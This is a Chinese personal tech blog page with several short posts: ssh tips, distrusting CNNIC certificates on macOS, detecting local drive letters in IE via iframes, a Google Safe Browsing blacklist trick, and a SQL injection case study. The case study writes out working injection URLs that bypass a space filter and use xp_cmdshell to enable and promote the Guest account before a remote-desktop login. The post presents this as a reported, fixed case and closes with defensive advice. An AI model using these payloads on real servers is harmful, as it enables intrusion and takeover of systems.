無標題文檔

「我是如此得深爱着 ssh」

ssh 绝对不不仅仅是类似 telnet 这样远程登录管理主机那么简单。下面的些 技巧,或许可以激发起你对这个「老朋友」重新认识的兴趣。

有部分内容来自: http://derwiki.tumblr.com/post/841579929/how-i-learned-to-stop-worrying-and-love-ssh

直接运行远程脚本

ssh 其实可以直接指定运行远程主机的命令。例如,每次登录并查看线上的日志是件非常繁琐的累活。其实你可以使用下面的命令

ssh user@remotehost "taif -f /var/log/apache/access.log"

它会 ssh 登录以后直接执行指定的命令。这样我们可以构建本地脚本让其接受远程服务器的输出,做更多的事情。

压缩传送文件和目录

有时候不想开启 SFTP 工具传送文件,那么下面的命令会帮到你

tar cvfz - localFileOrDir | ssh user@remotehost 'cd /remote/path/to/unpack/ ; tar xvfz -'

这个命令可以自动将本地的文件或者目录打包压缩以后,通过 ssh 传输到 remotehost 主机,然后 remotehost 会自动将其解压缩。

自动登录 ssh

最后个 ssh 技巧,上面的技巧的确是很实用,但是我们也受不了每次都要输入次密码。如果你的确厌烦了这些,那么尝试执行下面的命令:

ssh user@remotehost 'cat >> ~/.ssh/authorized_keys' < ~/.ssh/id_rsa.pub

这样远程的主机就会保存你本地的公钥,你就可以自动 ssh 登录远程主机( 详细 )。

顺便提醒:强烈提醒您保护好您主目录下的 ssh 私钥,否则您的帐户可能会面临风险。

还有些有用的参数

  • -C 这个参数可以将文本数据压缩传送
  • -X 如果远程服务器支持 X11 forwarding ,那么远程的 X 应用直接可以在本地显示运行(当然你本地要有 X Server)

各位还有什么其它好用的 ssh tips,欢迎不吝指出。

-- EOF --

Mac 下禁用 CNNIC CA 证书

有关 CNNIC 的警告这里有个 详细的说明 ,不多做解释。对于 Mac 用户,这里有个简单的办法禁用 CNNIC CA 证书。

https://friable.rocks/_/2010_02_01/1265080937.png

打开「钥匙串访问」,搜索 「CNNIC 」即可看到对应的证书。双击该证书

https://friable.rocks/_/2010_02_01/1265080978.png

下拉「信任」选择「永不信任」即可。

根据上述文中的提醒,同时把有「entrust.net」关键字的证书也禁用掉,这样就没有上述文中的风险了。

先不讨论文中有关证书的风险,但 CNNIC 的流氓 已经众人皆知,这的确让人感到很不安。因此,个人对于这件事的态度,也是「宁可信其有,不可信其无」。

个人信息安全这块,有时候往往会忽视。 国内的大环境如此 ,也只能是人人自危。

PS,这里有个投票号召众浏览器厂商移除 CNNIC 证书, 有兴趣可以看下查看结果 )。

-- EOF --

使用 JavaScript 获取本地盘符

https://friable.rocks/_/2010_01_07/1262936624.png

可能是我「火星」了,不过在 空虚 的 Blog 中学到的一招。这个技巧的原理是利用 iframe 载入本机各盘符的根目录,然后判断 iframe 是否已经载入完毕,从而判断对应的本地计算机的盘符是否存在。

根据目前的测试情况,在 IE6、7、8 下使用默认安全策略均可以获取到本地盘符。利用这个技巧,可以做的事情有还有很多。例如「摸黑」判断指定路径是否存在文件,即可以获取对应的信息,例如 Windows 的安装位置等等。

根据 空虚 的代码,我改进了下,即检测 A-Z 所有的盘符,并获取已经存在的盘符输出。还是上代码吧, DEMO 在这里源代码在这里

再次感谢 空虚 和 KJ 的提示,很受用。

-- EOF --

Google Safe Browsing 的策略

很多时候得益于 Google Safe Browsing 可免于恶意代码攻击,但有时候此功能也会对用户造成困扰。

http://pic.yupoo.com/feelinglucky/717088785940/medium.jpg

测试发现只要请求了在 Google Safe Browsing 中沦为黑名单中的站点资源(无论此页面是否为此域下甚至是本地页面),Chrome 浏览器提示禁止用户继续浏览页面。

那么想象下此情况会造成的影响,在任何可以输入内容的站点中,加入已知已被 Google Safe Browsing 扔到黑名单下的某域资源,那么该站点就会被牵连。

进一步的,我们可以做个这样的测试,使用 Chrome 打开 Google Reader ,订阅下面的 RSS 种子

http://feed.feedsky.com/malware

在你打开此 RSS 种子的条目时,Google Safe Browsing 的策略甚至无法让您继续正常浏览 Google Reader。

这虽然算不上安全漏洞,但对于「捉弄」目标站点,以及影响其他在 Google Safe Browsing 的策略下访问此站点的用户而言,已经能造成一定的困扰。

因此,当我们引用第三方资源时,尽可能的检查下对方是否在 Google Safe Browsing 的黑名单中,否则被「连坐」是很无辜的 :^(

注:上面的情况在 Google Chrome 4.0.237.0 中测试通过,Chromium 没有加入 Google Safe Browsing 无反应

-- EOF --

典型的 SQL 注入过程

此漏洞已帮其修复,并知会当事人

SQL 注入 漏洞危害巨大,但 SQL 注入也经常的被发现,少不小心过滤不完全就有可能让整个应用陷入困境。

无意间发现某站点存在 SQL 注入漏洞,于是利用这个漏洞提权并获取服务器控制权。这个案例很典型,像是教科书式的典型入侵步骤,下面就以这个案例展示从 SQL 注入到获取目标服务器控制权限的全过程。

发现

https://friable.rocks/_/2009_11_11/1257999312.gif

访问某站点的搜索页面,发现输入单引号「'」就直接报错,这就说明这个页面存在 注入的可能。为了证实这点,首先闭合请求访问语句,然后对比返回结果的差异。

发现访问

http://foo/rss.aspx?keyword=lucky

以及

http://foo/rss.aspx?keyword=lucky'));--

都可以被执行,但是返回的结果不同。根据下面的错误信息,是注释掉了 ORDER BY 。

分析

根据上面的情况,能非常肯定的断定这个脚本存在很严重的 SQL 注入漏洞。下一步,尝试构建插入 SQL 语句

https://friable.rocks/_/2009_11_11/1257999379.gif

http://foo/rss.aspx?keyword=lucky'));SELECT%20SERVERPROPERTY%20('edition');--

发现服务器的报错信息为 SQL 语句语法错误,SQL 构建不成功。几次尝试注入均不成功,于是休息下先把重点放到服务器本身

https://friable.rocks/_/2009_11_11/1257999485.png

扫描目标主机开放的端口,发现目标主机的 3389 端口是开放的。用远程桌面访问这个端口,可以访问。万事俱备,看来思路还得回到如何利用这个 SQL 注入漏洞。

此时灵光一现,是不是服务器的脚本分割用户输入的空格(%20),然后组成 SQL 语句查询?那么将空格转换成 TAB(%09)试试看,重新发起请求

http://foo/rss.aspx?keyword=lucky'));SELECT%09SERVERPROPERTY%09('edition');--

https://friable.rocks/_/2009_11_11/1257999508.png

并没有报错,说明判断是正确的。接下来的事情就好办了,调用 SQL 外部命令将 Guest 用户解禁并加入管理组。

提权

解禁 Guest 用户

http://foo/rss.aspx?keyword=lucky'));exec%09Master..xp_CMDShell%09'net%09user%09guest%09/active:yes';--

相当于服务器执行

net user guest /active:yes

再将 Guest 加入到管理员组

http://foo/rss.aspx?keyword=lucky'));exec%09Master.xp_CMDShell%09'net%09localgroup%09administrators%09guest%09/add';--

相当于服务器执行

net localgroup administrators guest /add

https://friable.rocks/_/2009_11_11/1257999460.gif

上述请求顺利执行成功,然后打开目标主机的远程登录,输入用户名「guest」密码为空登录,结果顺利登录 (运气和相貌都很重要 :P)。

重新关上 Guest 帐户,并通知主机管理员,至此攻击结束。

后记

正如上文所描述的,SQL 漏洞危害非常的巨大,但我相信国内很多中小站点还普遍存在着这样的漏洞。这里有些个人的不完全建议

  • 代码要对输入的参数做到充分的过滤,并尽可能得考虑极端情况
  • 错误信息尽可能的少,否则无关的人看不懂而有心的人就会提起兴趣
  • 不要以管理员的身份运行服务器进程
  • 某些情况下, net 命令 对于攻击者而言就是「微软牌」的木马
  • 严格控制远程登录访问者的来源
  • 如果可能的情况下,不是很推荐使用 Windows 作为服务器操作系统

-- EOF --

我的照片

嗨!我叫「明城」,八零后、码农、宁波佬,现居杭州。除了这里,同时也欢迎您关注我的 GitHubTwitterInstagram 等。

这个 Blog 原先的名字叫 Gracecode.com 、现在叫 「無標題文檔」 。 要知道作为码农取名是件很难的事情,所以不想在取名这事情上太费心思。

作为八零后,自认为还仅存点点可能不怎么被理解的幽默感,以及对平淡生活的追求和向往。 为了避免不必要的麻烦,声明本站所输出的内容以及观点仅代表个人,不代表自己所服务公司或组织的任何立场。

如果您想联系我,可以发我邮件 `echo bWluZ2NoZW5nQG91dGxvb2suY29tCg== | base64 -d`

分类

搜索

文章